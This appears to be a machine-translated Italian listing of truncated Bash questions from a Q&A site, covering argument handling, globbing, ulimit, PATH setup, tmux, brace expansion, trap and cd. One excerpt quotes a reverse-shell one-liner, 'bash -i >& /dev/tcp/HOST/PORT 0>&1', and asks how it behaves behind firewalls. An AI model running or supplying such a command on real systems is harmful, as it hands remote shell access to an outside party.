Domande specifiche per GNU Bourne Again SHell, al contrario di altre shell Bourne / POSIX. Per domande sulle shell Unix in generale, utilizzare invece il tag / shell.
Voglio leggere un carattere e quindi una lunghezza fissa della stringa (la stringa non è terminata con null nel file e la sua lunghezza è data dal carattere precedente). Come posso farlo in uno script bash? Come definire la variabile stringa in modo che io possa fare un po 'di …
Per quanto riguarda ./script.sh arg1 [arg2 arg3 ...], gli argomenti della riga di comando arg1, arg2, ... può essere ottenuto da $1, $2, ... Ma il numero di argomenti è NON fisso. Nello script della shell, voglio passare gli argomenti a partire da arg2un programma, #/bin/bash ... /path/to/a/program [I want …
Supponiamo di aver inserito una funzione al prompt di bash, su più righe anziché comprimendola su una con punti e virgola: $ function blah { echo blah } $ history -1 12690 function blah {\necho blah\n} Come si fa a visualizzarlo con caratteri di nuova riga reali anziché "\ n"?
Come posso elencare i file con un nome file che termina con l'ultimo carattere e con l' .txtestensione? Ho provato ls *+([[:digit:]]).txtma questo è vero per abc12.txte abc2.txt. Ma devo solo ottenere abc2.txt. Come posso fare ciò? C'è qualche forma :digit:che lo farà?
Sto cercando di aumentare il numero massimo di file aperti per l'utente corrente > ulimit -n 1024 Tento di aumentare e fallire come segue > ulimit -n 4096 bash: ulimit: open files: cannot modify limit: Operation not permitted Quindi faccio la cosa naturale e provo a correre con il permesso …
Dopo aver avviato un terminale bash, ho notato che la variabile PATH contiene voci duplicate. Il mio terminale avvia una shell di login , quindi ~/.bash_profileè di provenienza, seguito da ~/.profilee ~/.bashrc. Solo in ~/.profilefaccio creo le voci dei percorsi che sono duplicate. Per essere pedanti, questo è l'ordine in …
Sto cercando di imparare come usare getopts in modo da poter avere script con input analizzato (anche se penso che getopts potrebbe essere migliore). Sto provando a scrivere un semplice script per restituire le percentuali di utilizzo delle partizioni. Il problema è che una delle mie funzioni bash non sembra …
Provai bash -i >& /dev/tcp/HOST/PORT 0>&1 ma non sembra funzionare dietro i firewall. Cosa fa effettivamente questo codice, quali porte vengono inoltrate e potrebbe funzionare dietro i firewall?
È possibile cambiare lo sfondo della scheda tmux attiva (attuale)? Sto usando tmux 1.9su Ubuntu 15.04. $ tmux -V tmux 1.9 Ho provato a fare: set-option -g pane-active-border-fg red Ma il risultato non è stato modificato: Mi aspettavo 3-bash*che avesse uno sfondo rosso.
Apro un terminale xterm (80 colonne x 24 righe), quindi eseguo $ bash --norc --noprofilee quindi $ ttyper ottenere il nome del file del terminale: l'output è /dev/pts/9. Da un altro terminale corro: $ printf foo >/dev/pts/9 fooè stampato sulla riga di comando della shell nel primo terminale. Se premo …
L'output del comando precedente quando viene passato tramite echo è: # echo systemctl\ {restart,status}\ sshd\; systemctl restart sshd; systemctl status sshd; Anche se incollo l'output sul terminale, il comando funziona. Ma quando provo ad eseguire direttamente il comando, ottengo: # systemctl\ {restart,status}\ sshd\; bash: systemctl restart sshd;: command not found... …
Il trapbuiltin in bash ha la seguente sintassi trap [-lp] [arg] [sigspec ...] ... Ognuno sigspecè un nome di segnale o un numero di segnale. I nomi dei segnali non fanno distinzione tra maiuscole e minuscole e il prefisso SIG è facoltativo. ... I punti manuali bash fuori che sigspecpossono …
Pubblicarlo qui qualcosa che mi sta sconcertando; l'aggiornamento di un application server da Jessie a Stretch ha interrotto uno bashscript. All'indagine, l'abbiamo limitato a un cambiamento nel comportamento del cdcomando. Non sto discutendo qui se ciò che la sceneggiatura sta facendo sia una buona idea, o se potesse essere migliorata, …
Esiste un modo per riscrivere la struttura dei comandi in A && B || C | Dmodo che B o C sia reindirizzato in D? Con il comando corrente vengono eseguiti solo B o entrambi C e D. Per esempio:
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.